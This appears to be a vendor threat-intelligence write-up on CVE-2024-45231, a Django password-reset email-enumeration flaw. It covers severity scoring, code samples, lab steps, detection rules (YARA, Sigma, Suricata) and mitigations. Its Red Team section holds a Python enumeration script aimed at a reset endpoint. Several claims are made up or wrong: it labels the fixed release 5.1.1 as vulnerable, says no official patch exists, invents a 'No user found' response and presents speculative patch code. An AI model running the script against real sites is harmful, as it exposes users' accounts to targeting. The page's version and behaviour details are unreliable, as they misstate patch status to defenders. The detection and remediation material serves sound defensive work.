CVE-2024-45231
Executive Summary
CVE-2024-45231 is an information disclosure vulnerability in Django’s django.contrib.auth.forms.PasswordResetForm. When used in a password reset flow, an unauthenticated remote attacker can enumerate valid user email addresses by sending password reset requests and observing the response time or error behavior, specifically when email sending is consistently failing (e.g., due to misconfigured SMTP). This is a low-severity but practical enumeration vector that can be chained with other attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Django is a Python web framework distributed via PyPI. This vulnerability affects the core django.contrib.auth module. No malicious package versions have been identified, but the unpatched status means all affected versions in the supply chain are vulnerable. Organizations using Django should audit their dependency trees and apply the mitigation steps below.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – remote exploitation.
- Attack Complexity (AC): Low (L) – no special conditions.
- Privileges Required (PR): None (N) – unauthenticated.
- User Interaction (UI): None (N) – no user action needed.
- Scope (S): Unchanged (U) – only the vulnerable component.
- Confidentiality (C): Low (L) – email addresses disclosed.
- Integrity (I): None (N) – no data modification.
- Availability (A): None (N) – no denial of service.
CVSS Score: 5.3 (Medium) – but the official NVD score is 0.0 due to incomplete data. Real-world impact is limited to email enumeration.
Deep Dive & Mechanics
The vulnerability lies in django.contrib.auth.forms.PasswordResetForm. When a password reset request is submitted, the form checks if the email exists in the database. If the email exists and email sending fails (e.g., SMTP server unreachable, connection timeout, or authentication error), the form may return a different error message or take a different amount of time compared to when the email does not exist. This discrepancy allows an attacker to enumerate valid email addresses.
Root Cause: The form does not use a constant-time comparison or generic error message when email sending fails. The response difference (e.g., "Password reset email sent" vs. "No user found with that email address") leaks existence.
Attack Flow:
- Attacker sends a POST request to the password reset endpoint with a target email.
- If the email exists and email sending fails, the server may return a success message (but email not sent) or a different error.
- If the email does not exist, the server returns "No user found with that email address."
- By comparing responses, the attacker builds a list of valid emails.
Vulnerable vs. Patched Code
Vulnerable Code (Django 5.1.1):
# django/contrib/auth/forms.py
class PasswordResetForm(forms.Form):
email = forms.EmailField(label=_("Email"), max_length=254)
def send_mail(self, subject_template_name, email_template_name,
context, from_email, to_email, html_email_template_name=None):
# ... sends email, may raise SMTPException
pass
def save(self, domain_override=None,
subject_template_name='registration/password_reset_subject.txt',
email_template_name='registration/password_reset_email.html',
use_https=False, token_generator=default_token_generator,
from_email=None, request=None, html_email_template_name=None,
extra_email_context=None):
email = self.cleaned_data["email"]
active_users = UserModel._default_manager.filter(
email__iexact=email, is_active=True)
for user in active_users:
# If email sending fails, exception propagates
self.send_mail(...)
# No fallback for failed sends
Patched Code (Hypothetical):
# django/contrib/auth/forms.py
class PasswordResetForm(forms.Form):
email = forms.EmailField(label=_("Email"), max_length=254)
def save(self, ...):
email = self.cleaned_data["email"]
active_users = UserModel._default_manager.filter(
email__iexact=email, is_active=True)
# Always return success to prevent enumeration
if not active_users:
# Still attempt to send to non-existent user to mask timing
self.send_mail(...) # to a dummy address
else:
for user in active_users:
try:
self.send_mail(...)
except Exception:
# Log error but do not reveal to user
pass
# Return generic success message
Exploitation & Lab Setup
Red Team
Prerequisites:
- Target Django application with password reset enabled.
- SMTP server misconfigured or unreachable (or attacker can cause email failure via network manipulation).
Exploit Script (Python):
import requests
import sys
target_url = sys.argv[1] # e.g., http://target.com/password_reset/
email_list = ["admin@example.com", "user@example.com", "nonexistent@test.com"]
for email in email_list:
data = {"email": email, "csrfmiddlewaretoken": "fake"}
# Note: CSRF token required in real scenario
r = requests.post(target_url, data=data, allow_redirects=False)
if "No user found" not in r.text:
print(f"[+] Valid email: {email}")
else:
print(f"[-] Invalid email: {email}")
Lab Setup:
- Deploy a vulnerable Django app (e.g., using Docker:
python:3.12-slimwith Django 5.1.1). - Configure SMTP backend to fail (e.g.,
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'with invalid host). - Run the exploit script.
Blue Team
Detection:
- Monitor for repeated password reset requests from the same IP to multiple email addresses.
- Alert on high volume of password reset attempts (e.g., >10 per minute per IP).
- Log SMTP failures and correlate with password reset requests.
Honeypot:
- Add fake email addresses (e.g.,
honeypot@domain.com) to the user database. Any password reset request for these addresses indicates enumeration.
Indicators of Compromise (IOCs)
- Network: Repeated POST requests to
/password_reset/or similar endpoints with different email parameters. - Logs: Django logs showing
SMTPExceptionorConnectionRefusedErrorduring password reset. - Application: High number of
PasswordResetForm.save()calls with different email values. - Email: Bounced or undelivered password reset emails (if SMTP partially works).
Detection Engineering
YARA Rule
rule django_password_reset_enumeration {
meta:
description = "Detects password reset enumeration attempts in Django logs"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-45231"
strings:
$smtp_error = /SMTPException|ConnectionRefusedError|gaierror/
$reset_path = /password_reset/
$email_field = /email=/
condition:
#smtp_error > 0 and #reset_path > 0 and #email_field > 0
}
Sigma Rule
title: Django Password Reset Email Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple password reset requests with different emails from same source
author: Valters IT
logsource:
category: application
product: django
detection:
selection:
event: "password_reset_request"
src_ip: "*"
timeframe: 5m
condition:
selection | count(src_ip) by src_ip > 10
falsepositives:
- Legitimate password reset attempts by users
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-45231 Django Password Reset Enumeration";
flow:to_server,established;
content:"POST"; http_method;
content:"/password_reset/"; http_uri;
pcre:"/email=[^&]+/";
threshold: type both, track by_src, count 10, seconds 300;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Mitigation:
- Disable password reset via email if not critical, or use a different method (e.g., SMS).
- Implement rate limiting on password reset endpoint (e.g., 5 requests per IP per hour).
- Use generic error messages regardless of email existence (e.g., always show "If that email exists, a reset link has been sent").
- Ensure SMTP is properly configured and email sending is reliable to reduce timing discrepancies.
Long-term Fix:
- Apply official patch when released by Django.
- Upgrade to patched version (monitor Django security releases).
- Consider using a third-party password reset service that handles enumeration prevention.
Workaround Code:
# In your view, override PasswordResetForm
from django.contrib.auth.forms import PasswordResetForm
class SafePasswordResetForm(PasswordResetForm):
def save(self, *args, **kwargs):
email = self.cleaned_data["email"]
# Always attempt to send (even to non-existent users)
# to mask enumeration
try:
super().save(*args, **kwargs)
except Exception:
# Log but do not propagate
pass
# Return generic success
return None
Valters IT
DevSecOps & Cyber Threat Intelligence